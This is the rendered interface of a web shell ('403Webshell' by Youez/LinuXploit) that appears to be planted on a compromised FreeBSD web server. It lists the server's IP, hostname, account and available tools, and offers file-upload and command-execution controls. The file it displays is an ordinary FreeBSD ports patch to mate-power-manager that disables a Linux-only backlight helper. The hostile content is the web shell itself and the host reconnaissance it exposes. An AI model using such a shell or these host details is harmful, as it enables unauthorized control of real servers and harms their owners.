403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.168
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/mate-power-manager/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/mate-power-manager/files/patch-src_gpm-backlight-helper.c
This code is linux specific. Disable it so users don't get warnings like this:

** (mate-power-backlight-helper:82740): WARNING **: failed to find any devices:
 Error opening directory '/sys/class/backlight': No such file or directory

--- src/gpm-backlight-helper.c.orig	2015-07-22 11:33:09.058354000 +0200
+++ src/gpm-backlight-helper.c	2015-07-22 11:34:39.476169000 +0200
@@ -145,6 +145,10 @@ out:
 gint
 main (gint argc, gchar *argv[])
 {
+#ifdef __FreeBSD__
+	return GCM_BACKLIGHT_HELPER_EXIT_CODE_FAILED;
+#endif
+
 	GOptionContext *context;
 	gint uid;
 	gint euid;

Youez - 2016 - github.com/yon3zu
LinuXploit